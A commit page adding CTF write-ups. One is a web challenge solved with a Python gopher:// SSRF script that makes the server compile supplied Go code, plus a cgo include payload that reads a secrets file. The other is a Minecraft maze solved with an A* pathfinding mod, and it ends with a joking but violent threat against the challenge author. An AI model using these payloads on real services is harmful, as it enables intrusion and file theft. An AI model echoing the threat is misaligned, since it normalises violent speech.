Skip to content

Commit eca295d

Browse files
committed
stuff
1 parent 602ad1f commit eca295d

File tree

16 files changed

+767
-0
lines changed

16 files changed

+767
-0
lines changed

2025-greyctf-quals/index.md

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
---
2+
created: 2025-06-08T12:11
3+
updated: 2025-06-08T12:17
4+
rank: 22
5+
points: 8777
6+
team: wwf
7+
title: GreyCTF 2025 Qualifiers
8+
---
9+
10+
Was really hard!
11+
12+
::ctf-overview
13+
::

2025-greyctf-quals/web/C2/index.md

Lines changed: 120 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,120 @@
1+
---
2+
created: 2025-06-08T12:11
3+
updated: 2025-06-08T12:16
4+
unsolved: true
5+
---
6+
7+
Couldn't solve it, however I think I got pretty close.
8+
9+
I have figured out how to make the server compile some random Go code I give it.
10+
11+
```python
12+
import requests
13+
import urllib
14+
15+
16+
def http_request_to_gopher_url(host: str, port: int, raw_request: str) -> str:
17+
normalized = raw_request.replace('\r\n', '\n')
18+
lines = normalized.split('\n')
19+
normalized = "\r\n".join(lines)
20+
if not normalized.endswith("\r\n\r\n"):
21+
normalized += "\r\n\r\n"
22+
encoded_request = urllib.parse.quote(normalized, safe='')
23+
gopher_url = f"gopher://{host}:{port}/_{encoded_request}"
24+
return gopher_url
25+
26+
27+
def build_raw_http_request(method: str, url: str, headers: dict = None, body: str = None) -> str:
28+
req = requests.Request(method=method, url=url, headers=headers, data=body)
29+
prep: requests.PreparedRequest = requests.Session().prepare_request(req)
30+
request_line = f"{prep.method} {prep.path_url} HTTP/1.1\r\n"
31+
header_lines = ""
32+
for key, value in prep.headers.items():
33+
header_lines += f"{key}: {value}\r\n"
34+
raw_request = request_line + header_lines + "\r\n"
35+
if prep.body:
36+
if isinstance(prep.body, bytes):
37+
raw_request += prep.body.decode('utf-8')
38+
else:
39+
raw_request += str(prep.body)
40+
if not raw_request.endswith("\r\n\r\n"):
41+
raw_request += "\r\n\r\n"
42+
return raw_request
43+
44+
45+
target = "http://challs.nusgreyhats.org:33203"
46+
47+
48+
payload = {
49+
"agentUrl": "https://webhook.site/040b3747-dc9c-48c0-b219-2de560eac4f0"
50+
}
51+
52+
53+
response = requests.post(target+"/register", json=payload)
54+
uuid1 = response.text
55+
print(f"first user uuid: {uuid1}")
56+
57+
code_payload = """
58+
package main
59+
import "fmt"
60+
61+
func main() {
62+
fmt.Println("Hello, world!")
63+
}
64+
// DUMMY CODE TO MAKE THE AGENT RUN
65+
""".strip()
66+
67+
raw = build_raw_http_request("POST", f"http://127.0.0.1:8080/agent/{uuid1}/execute", headers={
68+
"Host": "127.0.0.1:8080",
69+
}, body=code_payload)
70+
gopher_url = http_request_to_gopher_url("127.0.0.1", 8080, raw)
71+
72+
73+
payload['agentUrl'] = gopher_url
74+
response = requests.post(target+"/register", json=payload)
75+
uuid2 = response.text
76+
print(f"second user uuid: {uuid2}")
77+
```
78+
79+
---
80+
81+
After the CTF ended, I realized that the intended solution is to write C code in Go.
82+
83+
```c
84+
package secrets
85+
86+
var Flag = "grey{5n34ky_60ph3r}";
87+
```
88+
89+
The above can be made into valid C code using some defines.
90+
91+
```c
92+
#define package
93+
#define secrets
94+
#define var char*
95+
#include "/app/secrets/flag.go"
96+
```
97+
98+
So the final payload would be:
99+
100+
```go
101+
package main
102+
103+
/*
104+
#define package
105+
#define secrets
106+
#define var char*
107+
#include "/app/secrets/flag.go"
108+
#include <stdio.h>
109+
void printflag() {
110+
puts(Flag);
111+
}
112+
*/
113+
import "C"
114+
115+
func main() {
116+
C.printflag()
117+
}
118+
```
119+
120+
And someone even backdoored the Go compiler itself damn.

2025-greyctf-quals/web/index.md

Whitespace-only changes.

2025-sasctf/index.md

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
---
2+
created: 2025-06-08T12:07
3+
updated: 2025-06-08T12:18
4+
title: SAS CTF 2025
5+
points: 659
6+
rank: 34
7+
team: wwf
8+
---
9+
10+
Felt weird, but hey minecraft challenges
11+
12+
::ctf-overview
13+
::
Lines changed: 167 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,167 @@
1+
---
2+
created: 2025-05-24T15:31
3+
updated: 2025-05-24T15:40
4+
---
5+
6+
So a minecraft jail?
7+
8+
I made my alt travel to me from a few thousand blocks away using baritone for some extra wood so I can make a trapdoor to go through the hole.
9+
10+
Wait I am given a lot of trapdoors?
11+
12+
Oh...
13+
14+
## analysis
15+
16+
Using free-cam I see a chest at the bottom of this maze, and I realized that there is no way I'll navigate this manually.
17+
18+
![image.png](https://res.cloudinary.com/kumonochisanaka/image/upload/v1748115384/2025/05/2963da3a492a0fa72bbcef9efbaa759b.png)
19+
20+
So I wrote (with GPT) a small client side mod to A* search a path to the chest at the bottom.
21+
22+
```java
23+
package me.kumo.pathfinder.client;
24+
25+
import com.mojang.brigadier.Command;
26+
import com.mojang.brigadier.arguments.IntegerArgumentType;
27+
import me.x150.renderer.event.RenderEvents;
28+
import me.x150.renderer.render.CustomRenderLayers;
29+
import me.x150.renderer.render.WorldRenderContext;
30+
import me.x150.renderer.util.Color;
31+
import net.fabricmc.api.ClientModInitializer;
32+
import net.fabricmc.fabric.api.client.command.v2.ClientCommandManager;
33+
import net.fabricmc.fabric.api.client.command.v2.ClientCommandRegistrationCallback;
34+
import net.fabricmc.fabric.api.client.command.v2.FabricClientCommandSource;
35+
import net.minecraft.client.MinecraftClient;
36+
import net.minecraft.client.render.VertexConsumerProvider;
37+
import net.minecraft.client.util.BufferAllocator;
38+
import net.minecraft.client.world.ClientWorld;
39+
import net.minecraft.text.Text;
40+
import net.minecraft.util.math.BlockPos;
41+
import net.minecraft.util.math.Vec3d;
42+
43+
import java.util.*;
44+
45+
public class PathfinderClient implements ClientModInitializer {
46+
private static List<Vec3d> pathPoints = Collections.emptyList();
47+
48+
@Override
49+
public void onInitializeClient() {
50+
// Register client-side command: /pathfind <x> <y> <z>
51+
ClientCommandRegistrationCallback.EVENT.register((dispatcher, regAccess) -> dispatcher.register(ClientCommandManager.literal("pathfind").then(ClientCommandManager.argument("x", IntegerArgumentType.integer()).then(ClientCommandManager.argument("y", IntegerArgumentType.integer()).then(ClientCommandManager.argument("z", IntegerArgumentType.integer()).executes(ctx -> {
52+
int x = IntegerArgumentType.getInteger(ctx, "x");
53+
int y = IntegerArgumentType.getInteger(ctx, "y");
54+
int z = IntegerArgumentType.getInteger(ctx, "z");
55+
BlockPos target = new BlockPos(x, y, z);
56+
ClientWorld world = MinecraftClient.getInstance().world;
57+
BlockPos start = MinecraftClient.getInstance().player.getBlockPos();
58+
List<BlockPos> path = findPath(world, start, target);
59+
FabricClientCommandSource source = ctx.getSource();
60+
if (path == null) {
61+
source.sendError(Text.literal("No path found to " + target));
62+
return 0;
63+
}
64+
List<Vec3d> pts = new ArrayList<>();
65+
for (BlockPos p : path) {
66+
pts.add(new Vec3d(p.getX() + 0.5, p.getY() + 0.5, p.getZ() + 0.5));
67+
}
68+
pathPoints = pts;
69+
source.sendFeedback(Text.literal("Rendered path of length " + path.size()));
70+
return Command.SINGLE_SUCCESS;
71+
}))))));
72+
73+
RenderEvents.AFTER_WORLD.register(ms -> {
74+
if (pathPoints.isEmpty()) return;
75+
VertexConsumerProvider.Immediate vcp = VertexConsumerProvider.immediate(new BufferAllocator(1024));
76+
WorldRenderContext rc = new WorldRenderContext(MinecraftClient.getInstance(), vcp);
77+
78+
for (int i = 0; i < pathPoints.size() - 1; i++) {
79+
Vec3d a = pathPoints.get(i);
80+
Vec3d b = pathPoints.get(i + 1);
81+
rc.drawLine(ms, CustomRenderLayers.LINES_NO_DEPTH_TEST.apply(0d), a, b, new Color(0xFF0000FF));
82+
}
83+
vcp.draw();
84+
});
85+
}
86+
87+
private List<BlockPos> findPath(ClientWorld world, BlockPos start, BlockPos goal) {
88+
Set<BlockPos> closed = new HashSet<>();
89+
PriorityQueue<Node> open = new PriorityQueue<>(Comparator.comparingInt(n -> n.f));
90+
Map<BlockPos, Integer> gScore = new HashMap<>();
91+
92+
gScore.put(start, 0);
93+
open.add(new Node(start, null, 0, heuristic(start, goal)));
94+
List<BlockPos> dirs = Arrays.asList(new BlockPos(1, 0, 0), new BlockPos(-1, 0, 0), new BlockPos(0, 1, 0), new BlockPos(0, -1, 0), new BlockPos(0, 0, 1), new BlockPos(0, 0, -1));
95+
int maxIters = 1000_000;
96+
while (!open.isEmpty() && maxIters-- > 0) {
97+
Node curr = open.poll();
98+
if (curr.pos.equals(goal)) {
99+
return reconstruct(curr);
100+
}
101+
closed.add(curr.pos);
102+
103+
for (BlockPos d : dirs) {
104+
BlockPos next = curr.pos.add(d);
105+
if (next.getY() > 114) continue;
106+
if (closed.contains(next)) continue;
107+
if (world.isOutOfHeightLimit(next)) continue;
108+
if (!world.getBlockState(next).isAir()) continue;
109+
110+
int tentativeG = curr.g + 1;
111+
if (tentativeG < gScore.getOrDefault(next, Integer.MAX_VALUE)) {
112+
gScore.put(next, tentativeG);
113+
open.add(new Node(next, curr, tentativeG, heuristic(next, goal)));
114+
}
115+
}
116+
}
117+
return null;
118+
}
119+
120+
private int heuristic(BlockPos a, BlockPos b) {
121+
return Math.abs(a.getX() - b.getX()) + Math.abs(a.getY() - b.getY()) + Math.abs(a.getZ() - b.getZ());
122+
}
123+
124+
private List<BlockPos> reconstruct(Node node) {
125+
List<BlockPos> path = new ArrayList<>();
126+
for (Node n = node; n != null; n = n.parent) path.add(n.pos);
127+
Collections.reverse(path);
128+
return path;
129+
}
130+
131+
private static class Node {
132+
BlockPos pos;
133+
Node parent;
134+
int g;
135+
int f;
136+
137+
Node(BlockPos pos, Node parent, int g, int h) {
138+
this.pos = pos;
139+
this.parent = parent;
140+
this.g = g;
141+
this.f = g + h;
142+
}
143+
}
144+
}
145+
```
146+
147+
It seems to work well (after some debugging).
148+
149+
![image.png](https://res.cloudinary.com/kumonochisanaka/image/upload/v1748115347/2025/05/f53fc282d166037c3bdd8ed5218196c5.png)
150+
151+
## the flag
152+
153+
So the path has been found, I have to navigate down there using trapdoors, avoiding fall damage, etc.
154+
155+
![2025-05-24_13.57.58.png](https://res.cloudinary.com/kumonochisanaka/image/upload/v1748115176/2025/05/a72cd0a46bd5825868074dc5832c33b6.png)
156+
157+
Well the journey took a lot more effort than I would prefer.
158+
159+
I have now become a master of minecraft 1x1 tunnel navigation using trapdoors.
160+
161+
I would strangle the author from behind while stabbing him several times in the chest if I ever find him on the streets.
162+
163+
![2025-05-24_15.27.00.png](https://res.cloudinary.com/kumonochisanaka/image/upload/v1748115158/2025/05/587dfeb72ebb7898df596a6fed817932.png)
164+
165+
```flag
166+
SAS{c4v3_d1v3rs_f0r_n0_r34s0n_wh3n_th3y_h3ar_th3r3_1s_a_d1amond_d0wn_th3_h3r0br1n3s_p1t}
167+
```

2025-sasctf/misc/index.md

Whitespace-only changes.

0 commit comments

Comments
 (0)